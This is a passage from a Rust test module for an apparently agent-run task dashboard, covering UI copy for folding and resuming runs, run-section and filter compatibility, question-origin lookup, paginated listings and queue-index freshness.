22732        assert!(APP_JS.contains("foldRun:"));
22733        assert!(APP_JS.contains("resumeRun:"));
22734        assert!(APP_JS.contains("renderRunActions"));
22735
22736        // Folding is destructive and armed in two steps, like deleting.
22737        assert!(APP_JS.contains("armedFold"));
22738        assert!(APP_JS.contains("Yes, fold worktrees"));
22739
22740        // And the copy has to say that the two actions are opposites, because
22741        // folding throws away exactly what a resume would continue from.
22742        assert!(APP_JS.contains("can no longer be resumed"));
22743    }
22744
22745    #[test]
22746    fn a_finished_run_explains_itself_with_its_own_last_line() {
22747        // The deck used to answer "why did this stop?" with a sentence chosen
22748        // by status alone. Run e633 stalled because two judges answered with
22749        // the wrong JSON shape and its card said "The panel collapsed on
22750        // agent quota" - with `quota: []` in the record and a quota-loss
22751        // counter right above it that correctly said nothing.
22752        assert!(
22753            !APP_JS.contains("collapsed on agent quota"),
22754            "a stall must not be explained by a cause the deck did not check"
22755        );
22756        assert!(
22757            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22758            "and a block must not offer a guess with an `or` in it"
22759        );
22760
22761        // The reason it does have is `run.event`, which must reach finished
22762        // runs: gating it on movement hid the recorded truth at the one moment
22763        // the operator is reading the card to find out what happened.
22764        assert!(
22765            APP_JS.contains("setText(r.event, run.event || \"\")"),
22766            "the run's last line is rendered unconditionally"
22767        );
22768        assert!(
22769            !APP_JS.contains("moving && run.event"),
22770            "and never gated on the run still moving"
22771        );
22772
22773        // Quota keeps its own counter, fed by the number actually recorded.
22774        assert!(APP_JS.contains("lost to quota"));
22775    }
22776
22777    /// The runs tree (section) and the state chips (waiting/done) are two
22778    /// independent lenses ANDed together in `renderRuns`, and some pairings
22779    /// can never both be true for any run - every "Landed"/"Ended" run is
22780    /// done by construction, so pairing either with "Active" or "In flight"
22781    /// always rendered zero cards with the filter bar still claiming
22782    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
22783    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
22784    /// a handful of (waiting, status) shapes standing in for the run
22785    /// lifecycle, because `cargo test` cannot execute the front end.
22786    ///
22787    /// That stand-in list is itself the part that drifted twice in review:
22788    /// once shipped with `waiting: true` paired with a done status the
22789    /// lifecycle cannot produce, then over-corrected into treating every
22790    /// waiting run as never done - which made "Waiting on you" look
22791    /// incompatible with "Done" even for the one real, reachable shape
22792    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
22793    /// that combination. This test parses the shapes and the done-rule back
22794    /// out of `APP_JS`, reimplements `runSection` and the five state
22795    /// predicates independently in Rust, and checks the resulting
22796    /// section/filter compatibility table against the lifecycle rules by
22797    /// hand - so either direction of drift fails it again.
22798    #[test]
22799    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22800        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22801        let shapes_body_start =
22802            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22803        let shapes_close = APP_JS[shapes_body_start..]
22804            .find("].map(")
22805            .expect("the shape list is closed by its done-computing .map(...)")
22806            + shapes_body_start;
22807        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22808
22809        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22810        for entry in shapes_src.split('{').skip(1) {
22811            let waiting = entry.contains("waiting: true");
22812            let dead = entry.contains("live: \"dead\"");
22813            let status_at =
22814                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22815            let status_end = entry[status_at..]
22816                .find('"')
22817                .expect("the status string is closed")
22818                + status_at;
22819            let parked = entry.contains("display_status: \"parked\"");
22820            shapes.push((
22821                waiting,
22822                entry[status_at..status_end].to_string(),
22823                dead,
22824                parked,
22825            ));
22826        }
22827        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22828
22829        // The done rule itself (`!["implementing"].includes(shape.status)`),
22830        // read out of the source rather than hardcoded, so a renamed
22831        // in-flight status can't silently make every parsed shape "done".
22832        let done_rule_marker = "done: !";
22833        let done_rule_at = APP_JS[shapes_close..]
22834            .find(done_rule_marker)
22835            .expect("the done rule follows the shape list")
22836            + shapes_close
22837            + done_rule_marker.len();
22838        let includes_at = APP_JS[done_rule_at..]
22839            .find(".includes(shape.status)")
22840            .expect("the done rule ends in .includes(shape.status)")
22841            + done_rule_at;
22842        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22843            .trim()
22844            .trim_start_matches('[')
22845            .trim_end_matches(']')
22846            .split(',')
22847            .map(|s| s.trim().trim_matches('"'))
22848            .filter(|s| !s.is_empty())
22849            .collect();
22850
22851        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22852            .into_iter()
22853            .map(|(waiting, status, dead, parked)| {
22854                let done = !not_done.contains(&status.as_str());
22855                (waiting, status, dead, parked, done)
22856            })
22857            .collect();
22858
22859        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
22860        // outright, then merged/ready land, stalled/blocked/failed/
22861        // verified_noop end, and everything else is still in flight.
22862        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22863            if waiting {
22864                return "waiting";
22865            }
22866            if dead
22867                && !parked
22868                && !matches!(
22869                    status,
22870                    "merged"
22871                        | "ready"
22872                        | "stalled"
22873                        | "blocked"
22874                        | "failed"
22875                        | "verified_noop"
22876                        | "superseded"
22877                        | "already_in_base"
22878                )
22879            {
22880                return "stale";
22881            }
22882            match status {
22883                "merged" | "ready" => "landed",
22884                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22885                | "already_in_base" => "ended",
22886                _ => "flight",
22887            }
22888        }
22889
22890        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
22891        // way.
22892        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22893            match filter_key {
22894                "active" => !done,
22895                "flight" => !done && !waiting && !dead,
22896                "stale" => !done && !waiting && dead,
22897                "waiting" => waiting,
22898                "done" => done,
22899                "all" => true,
22900                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22901            }
22902        }
22903
22904        let compatible = |section: &str, filter_key: &str| {
22905            shapes.iter().any(|(waiting, status, dead, parked, done)| {
22906                run_section(*waiting, status, *dead, *parked) == section
22907                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22908            })
22909        };
22910
22911        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
22912        // (active, flight, stale, waiting, done, all) - hand-derived from the
22913        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
22914        // currently contains.
22915        let expected = [
22916            ("waiting", [true, false, false, true, true, true]),
22917            ("stale", [true, false, true, false, false, true]),
22918            ("flight", [true, true, false, false, false, true]),
22919            ("landed", [false, false, false, false, true, true]),
22920            ("ended", [false, false, false, false, true, true]),
22921        ];
22922        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22923
22924        for (section, wants) in expected {
22925            for (filter_key, want) in filter_keys.iter().zip(wants) {
22926                assert_eq!(
22927                    compatible(section, filter_key),
22928                    want,
22929                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22930                );
22931            }
22932        }
22933
22934        // The compatibility check exists only to be acted on: both pickers
22935        // must actually consult it rather than just render its answer.
22936        assert!(
22937            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22938        );
22939        assert!(APP_JS.contains(
22940            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22941        ));
22942        assert!(APP_JS.contains(
22943            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22944        ));
22945    }
22946
22947    #[tokio::test]
22948    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22949        // An operator-named directory - git checkout or not - is never
22950        // second-guessed, even when it does not exist at all: only the
22951        // flag's own unmodified `.` default is ever eligible for discovery.
22952        let dir = tempfile::tempdir().expect("tempdir");
22953        let explicit = dir.path().join("not-a-checkout");
22954        std::fs::create_dir_all(&explicit).expect("create dir");
22955        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22956
22957        let missing = dir.path().join("does-not-exist-at-all");
22958        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22959    }
22960
22961    #[test]
22962    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22963        assert!(APP_JS.contains("function statsDonutArcs"));
22964        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22965        // A bucket click filters by the statuses src/stats.rs counts in it.
22966        assert!(APP_JS.contains("function statusInBucket"));
22967        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22968        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22969        let buckets = [
22970            "merged",
22971            "ready",
22972            "in_progress",
22973            "blocked",
22974            "failed",
22975            "verified_noop",
22976            "superseded",
22977            "stalled",
22978        ];
22979        for key in buckets {
22980            let var = format!("--verdict-{key}:");
22981            // Light, OS-dark and pinned-dark blocks each define it.
22982            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22983            assert!(
22984                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22985                "{key}"
22986            );
22987        }
22988    }
22989
22990    #[tokio::test]
22991    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
22992        let dir = tempfile::tempdir().expect("tempdir");
22993        let queue = Queue::at(dir.path().join("queue"));
22994        let talks = Talks::at(dir.path().join("talks"));
22995        std::fs::create_dir_all(queue.root()).unwrap();
22996        std::fs::create_dir_all(talks.root()).unwrap();
22997
22998        // Put a corrupt json file in both stores
22999        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23000        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23001
23002        // Valid task and talk
23003        let mut task = Task::new(
23004            "title".into(),
23005            "inst".into(),
23006            PathBuf::from("/repo"),
23007            Source::Human,
23008        );
23009        task.id = "20261019-123456-abcd".into();
23010        // Write manually so it's a valid file
23011        std::fs::write(
23012            queue.path_of(&task.id),
23013            serde_json::to_string(&task).unwrap(),
23014        )
23015        .unwrap();
23016
23017        let talk_id = "20261019-234567-cdef";
23018        seed_talk_at(&talks, talk_id, "open");
23019
23020        // Exact match should succeed without failing on the corrupt json file
23021        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23022        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23023
23024        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23025        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23026        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23027    }
23028
23029    #[tokio::test]
23030    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23031        let home = tempfile::tempdir().unwrap();
23032        let ui = delta_test_ui(home.path());
23033        // A full history traversal would fail even with no questions.
23034        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23035        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23036        assert!(
23037            questions_list(State(ui.clone()))
23038                .await
23039                .unwrap()
23040                .0
23041                .is_empty()
23042        );
23043        assert!(
23044            question_origins(State(ui.clone()))
23045                .await
23046                .unwrap()
23047                .0
23048                .is_empty()
23049        );
23050        let mut question = Question::new(
23051            "run-history".into(),
23052            "review".into(),
23053            "seat".into(),
23054            "Useful question".into(),
23055            "Useful detail".into(),
23056            vec![],
23057        );
23058        ui.questions.put(&mut question).unwrap();
23059        let core = questions_core(State(ui.clone())).await.unwrap().0;
23060        assert_eq!(core.len(), 1);
23061        assert_eq!(core[0].question.summary, "Useful question");
23062        assert!(!core[0].can_consult_chat);
23063        assert!(core[0].origin_chat.is_none());
23064        assert_eq!(core[0].record_revision, question_record_revision(&question));
23065        assert!(question_origins(State(ui.clone())).await.is_err());
23066        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23067    }
23068
23069    #[tokio::test]
23070    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23071        let home = tempfile::tempdir().unwrap();
23072        let ui = delta_test_ui(home.path());
23073        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23074        let mut parent = Task::new(
23075            "parent".into(),
23076            "body".into(),
23077            PathBuf::from("/repo"),
23078            Source::Agent {
23079                run: chat.clone(),
23080                node: crate::queue::CHAT_NODE.into(),
23081            },
23082        );
23083        parent.id = "parent-task".into();
23084        parent.runs = vec!["parent-run".into()];
23085        ui.queue.put(&mut parent).unwrap();
23086        let mut previous = parent;
23087        for generation in 1..=2 {
23088            let mut child = Task::new(
23089                "child".into(),
23090                "body".into(),
23091                PathBuf::from("/repo"),
23092                Source::Human,
23093            );
23094            child.id = format!("child-task-{generation}");
23095            child.runs = vec![format!("child-run-{generation}")];
23096            child.followup = Some(crate::queue::FollowUp {
23097                origin_task: Some(previous.id.clone()),
23098                run: previous.runs[0].clone(),
23099                pr: String::new(),
23100                findings: vec![],
23101                generation,
23102            });
23103            ui.queue.put(&mut child).unwrap();
23104            previous = child;
23105        }
23106        // A run may have the same spelling as another task's id; its owner
23107        // must not override a typed task reference.
23108        let mut collision = Task::new(
23109            "collision".into(),
23110            String::new(),
23111            PathBuf::from("/repo"),
23112            Source::Human,
23113        );
23114        collision.id = "collision-task".into();
23115        collision.runs = vec![previous.id.clone()];
23116        ui.queue.put(&mut collision).unwrap();
23117        let mut questions = Vec::new();
23118        for (node, reference, expected, eligible) in [
23119            (crate::triage::NODE, previous.id.as_str(), true, false),
23120            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23121            ("review", previous.runs[0].as_str(), true, true),
23122            (
23123                crate::bump::NOTICE_NODE,
23124                previous.runs[0].as_str(),
23125                true,
23126                false,
23127            ),
23128            // Identical text in the wrong reference namespace is not evidence.
23129            ("review", previous.id.as_str(), false, false),
23130            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23131            ("review", "unrelated", false, false),
23132        ] {
23133            let mut q = Question::new(
23134                reference.into(),
23135                node.into(),
23136                "seat".into(),
23137                "Question".into(),
23138                String::new(),
23139                vec![],
23140            );
23141            ui.questions.put(&mut q).unwrap();
23142            questions.push((q, expected, eligible));
23143        }
23144        for (node, reference, associated, eligible) in [
23145            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23146            (
23147                crate::reconcile::NODE,
23148                previous.runs[0].as_str(),
23149                false,
23150                true,
23151            ),
23152            ("implement", previous.id.as_str(), false, false),
23153        ] {
23154            let mut q = Question::new(
23155                reference.into(),
23156                node.into(),
23157                crate::reconcile::SEAT.into(),
23158                "Reconcile".into(),
23159                String::new(),
23160                vec![],
23161            );
23162            ui.questions.put(&mut q).unwrap();
23163            questions.push((q, associated, eligible));
23164        }
23165        let mut release = Question::new(
23166            "release-record".into(),
23167            crate::bump::NOTICE_NODE.into(),
23168            "release-watch".into(),
23169            "Release".into(),
23170            String::new(),
23171            vec![],
23172        );
23173        ui.questions.put(&mut release).unwrap();
23174        let watch = crate::release_watch::WatchState {
23175            question: Some(release.id.clone()),
23176            run: Some(previous.runs[0].clone()),
23177            held_task: Some(previous.id.clone()),
23178            ..Default::default()
23179        };
23180        let watch_dir = home.path().join("release-watch");
23181        std::fs::create_dir_all(&watch_dir).unwrap();
23182        let watch_path = watch_dir.join("watch.json");
23183        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23184        // Ordinary questions and bump notices do not need watch-store I/O.
23185        for batch in [
23186            Vec::new(),
23187            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23188        ] {
23189            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23190            assert!(watches.is_empty());
23191        }
23192        questions.push((release.clone(), true, false));
23193
23194        let views = questions_list(State(ui.clone())).await.unwrap().0;
23195        let origins = question_origins(State(ui.clone())).await.unwrap().0;
23196        for (q, associated, eligible) in &questions {
23197            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23198            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23199            let expected = associated.then_some(chat.as_str());
23200            assert_eq!(
23201                view.origin_chat.as_deref(),
23202                expected,
23203                "{} {}",
23204                q.node,
23205                q.run
23206            );
23207            assert_eq!(origin.origin_chat.as_deref(), expected);
23208            assert_eq!(view.origin_chat_closed, *associated);
23209            assert_eq!(origin.origin_chat_closed, *associated);
23210            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23211            assert_eq!(origin.can_consult_chat, *eligible);
23212        }
23213        // Either saved link independently recovers a release question's owner.
23214        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23215            let link = crate::release_watch::WatchState {
23216                run,
23217                held_task,
23218                ..watch.clone()
23219            };
23220            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23221            let (tasks, talks, watches) =
23222                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23223            assert_eq!(
23224                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23225                    .unwrap()
23226                    .id,
23227                chat,
23228            );
23229            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23230        }
23231        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23232        // Even identical duplicate records are ambiguous: ignore their links.
23233        let duplicate_path = watch_dir.join("duplicate.json");
23234        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23235        let (tasks, talks, watches) =
23236            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23237        assert!(
23238            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23239                .is_none()
23240        );
23241        std::fs::remove_file(duplicate_path).unwrap();
23242        // Another explicit owner is a conflict even if it has no chat.
23243        let mut unrelated = Task::new(
23244            "other".into(),
23245            String::new(),
23246            PathBuf::from("/repo"),
23247            Source::Human,
23248        );
23249        unrelated.id = "unrelated-task".into();
23250        ui.queue.put(&mut unrelated).unwrap();
23251        let mut conflicting = watch.clone();
23252        conflicting.held_task = Some(unrelated.id);
23253        std::fs::write(
23254            watch_dir.join("conflict.json"),
23255            serde_json::to_vec(&conflicting).unwrap(),
23256        )
23257        .unwrap();
23258        let (tasks, talks, watches) =
23259            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23260        assert!(
23261            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23262                .is_none()
23263        );
23264        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23265        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23266        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23267            assert!(origin.origin_chat.is_none());
23268            assert!(!origin.origin_chat_closed);
23269        }
23270    }
23271
23272    #[test]
23273    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23274        let home = tempfile::tempdir().unwrap();
23275        let ui = delta_test_ui(home.path());
23276        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23277        for i in 0..1000 {
23278            let mut task = Task::new(
23279                "unrelated".into(),
23280                "instruction ".repeat(256),
23281                PathBuf::from("/repo"),
23282                Source::Human,
23283            );
23284            task.id = format!("history-{i:04}");
23285            ui.queue.put(&mut task).unwrap();
23286            let id = seed_talk_at(&ui.talks, &task.id, "open");
23287            let mut talk = ui.talks.get(&id).unwrap();
23288            talk.pending = "history ".repeat(256);
23289            ui.talks.put(&mut talk).unwrap();
23290        }
23291        let mut parent = Task::new(
23292            "parent".into(),
23293            "body".into(),
23294            PathBuf::from("/repo"),
23295            Source::Agent {
23296                run: chat_id.clone(),
23297                node: crate::queue::CHAT_NODE.into(),
23298            },
23299        );
23300        parent.id = "task-parent".into();
23301        parent.runs = vec!["run-parent".into()];
23302        ui.queue.put(&mut parent).unwrap();
23303        let mut child = Task::new(
23304            "child".into(),
23305            "body".into(),
23306            PathBuf::from("/repo"),
23307            Source::Human,
23308        );
23309        child.id = "task-child".into();
23310        child.runs = vec!["run-child".into()];
23311        child.followup = Some(crate::queue::FollowUp {
23312            run: "run-parent".into(),
23313            origin_task: Some(parent.id.clone()),
23314            pr: "https://example.invalid/pr/1".into(),
23315            findings: vec![],
23316            generation: 1,
23317        });
23318        ui.queue.put(&mut child).unwrap();
23319        let mut question = Question::new(
23320            child.id.clone(),
23321            crate::conduct::NODE.into(),
23322            "seat".into(),
23323            "Continue?".into(),
23324            String::new(),
23325            vec![],
23326        );
23327        let (tasks, talks, _watches) =
23328            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23329        assert_eq!(tasks.len(), 2);
23330        assert_eq!(talks.len(), 1);
23331        assert_eq!(
23332            ui.monitor.queue_index.lock().unwrap().reparsed,
23333            0,
23334            "exact ancestry bypasses the index"
23335        );
23336        assert_eq!(
23337            crate::consult::origin_talk(&tasks, &talks, &question)
23338                .unwrap()
23339                .id,
23340            chat_id
23341        );
23342        question.run = "run-child".into();
23343        question.node = "review".into();
23344        for origin_task in [Some(parent.id.clone()), None] {
23345            child.followup.as_mut().unwrap().origin_task = origin_task;
23346            ui.queue.put(&mut child).unwrap();
23347            let (tasks, talks, _watches) =
23348                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23349            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23350            let expected =
23351                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23352                    .unwrap();
23353            assert_eq!(actual.id, expected.id);
23354            assert!(!actual.status.open());
23355            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23356            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23357            // Without Unix file identity, every readable record must be
23358            // reparsed to detect same-size, same-mtime replacements safely.
23359            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23360            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23361        }
23362        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23363        ui.queue.put(&mut child).unwrap();
23364        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23365        let (tasks, talks, _watches) =
23366            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23367        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23368        child.origin_chat = Some(chat_id.clone());
23369        ui.queue.put(&mut child).unwrap();
23370        let (tasks, talks, _watches) =
23371            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23372        assert_eq!(
23373            crate::consult::origin_talk(&tasks, &talks, &question)
23374                .unwrap()
23375                .id,
23376            chat_id
23377        );
23378        let revision = question_record_revision(&question);
23379        question.abandon("settled elsewhere");
23380        assert_ne!(revision, question_record_revision(&question));
23381        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23382        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23383        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23384        let (tasks, talks, _watches) =
23385            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23386        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23387    }
23388
23389    #[test]
23390    fn list_cursors_freeze_membership_and_expire_explicitly() {
23391        let home = tempfile::tempdir().unwrap();
23392        let ui = delta_test_ui(home.path());
23393        std::fs::create_dir_all(ui.queue.root()).unwrap();
23394        for i in 0..40 {
23395            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23396        }
23397        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23398        assert_eq!(first.len(), STORE_PAGE_SIZE);
23399        let cursor = cursor.unwrap();
23400        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23401        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23402        let (second, _) = page_ids(
23403            &ui,
23404            false,
23405            PageQuery {
23406                before: Some(cursor.clone()),
23407            },
23408        )
23409        .unwrap();
23410        assert_eq!(second[0], "record-0023");
23411        assert!(second.iter().all(|id| !first.contains(id)));
23412        assert!(
23413            page_ids(
23414                &ui,
23415                true,
23416                PageQuery {
23417                    before: Some(cursor.clone())
23418                }
23419            )
23420            .is_err()
23421        );
23422        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23423        assert_eq!(fresh[0], "record-9999");
23424        ui.monitor.list_walks.lock().unwrap().clear();
23425        assert!(
23426            page_ids(
23427                &ui,
23428                false,
23429                PageQuery {
23430                    before: Some(cursor)
23431                }
23432            )
23433            .is_err()
23434        );
23435    }
23436
23437    #[tokio::test]
23438    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23439        let home = tempfile::tempdir().unwrap();
23440        let ui = delta_test_ui(home.path());
23441        let mut task = Task::new(
23442            "task".into(),
23443            "body".into(),
23444            PathBuf::from("/repo"),
23445            Source::Human,
23446        );
23447        ui.queue.put(&mut task).unwrap();
23448        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23449        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23450        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23451        let expected = parsed + usize::from(!cfg!(unix));
23452        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23453        task.status = crate::queue::TaskStatus::Held;
23454        ui.queue.put(&mut task).unwrap();
23455        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23456        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23457        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23458        ui.queue.put(&mut task).unwrap();
23459        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23460        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23461        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23462    }
23463
23464    #[tokio::test]
23465    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23466        let home = tempfile::tempdir().unwrap();
23467        let ui = delta_test_ui(home.path());
23468        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23469        let before = health(State(ui.clone())).await.unwrap().0;
23470        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23471        let after = health(State(ui)).await.unwrap().0;
23472        assert_ne!(before.notifications_rev, after.notifications_rev);
23473        assert_eq!(after.notifications_unread, 1);
23474    }
23475
23476    #[tokio::test]
23477    async fn list_pages_bound_history_and_keep_dependency_evidence() {
23478        let home = tempfile::tempdir().unwrap();
23479        let ui = delta_test_ui(home.path());
23480        let queue = &ui.queue;
23481        let talks = &ui.talks;
23482        for i in 0..1000 {
23483            let id = format!("20261019-{i:06}-page");
23484            let mut task = Task::new(
23485                "task".into(),
23486                "instruction".repeat(100),
23487                PathBuf::from("/repo/magi"),
23488                Source::Human,
23489            );
23490            task.id = id.clone();
23491            if i == 0 {
23492                task.status = crate::queue::TaskStatus::Held;
23493            } else if i == 999 {
23494                task.status = crate::queue::TaskStatus::Blocked;
23495                task.blocked_by = vec!["20261019-000000-page".into()];
23496            }
23497            queue.put(&mut task).unwrap();
23498            seed_talk_at(talks, &id, "open");
23499        }
23500        let page = serde_json::to_value(
23501            queue_page(State(ui.clone()), Query(PageQuery::default()))
23502                .await
23503                .unwrap()
23504                .0,
23505        )
23506        .unwrap();
23507        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23508        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23509        assert!(
23510            !page["rows"][0]["stuck_roots"]
23511                .as_array()
23512                .unwrap()
23513                .is_empty()
23514        );
23515        let cursor = page["next"].as_str().unwrap();
23516        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23517            .as_str()
23518            .unwrap();
23519        // Deleting an already enumerated file cannot shift or repeat a page.
23520        std::fs::remove_file(queue.path_of(last_id)).unwrap();
23521        let next = serde_json::to_value(
23522            queue_page(
23523                State(ui.clone()),
23524                Query(PageQuery {
23525                    before: Some(cursor.into()),
23526                }),
23527            )
23528            .await
23529            .unwrap()
23530            .0,
23531        )
23532        .unwrap();
23533        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23534        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23535        let chats = serde_json::to_value(
23536            talks_page(State(ui.clone()), Query(PageQuery::default()))
23537                .await
23538                .unwrap()
23539                .0,
23540        )
23541        .unwrap();
23542        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23543        assert!(chats["rows"][0].get("pending").is_none());
23544        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23545        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23546        assert_eq!(counts["held"], 1);
23547        assert_eq!(counts["blocked"], 1);
23548        assert_eq!(counts["queued"], 997);
23549    }
23550
23551    #[test]
23552    fn queue_index_observes_external_replacement_deletion_and_corruption() {
23553        let dir = tempfile::tempdir().unwrap();
23554        let ui = delta_test_ui(dir.path());
23555        let mut task = Task::new(
23556            "task".into(),
23557            "body".into(),
23558            PathBuf::from("/repo"),
23559            Source::Human,
23560        );
23561        task.runs = vec!["run-a".into()];
23562        ui.queue.put(&mut task).unwrap();
23563        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23564        task.runs = vec!["run-b".into()];
23565        let path = ui.queue.path_of(&task.id);
23566        let modified = path.metadata().unwrap().modified().unwrap();
23567        let replacement = path.with_extension("replacement");
23568        let bytes = serde_json::to_vec_pretty(&task).unwrap();
23569        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23570        std::fs::write(&replacement, &bytes).unwrap();
23571        std::fs::File::options()
23572            .write(true)
23573            .open(&replacement)
23574            .unwrap()
23575            .set_times(std::fs::FileTimes::new().set_modified(modified))
23576            .unwrap();
23577        std::fs::rename(&replacement, &path).unwrap();
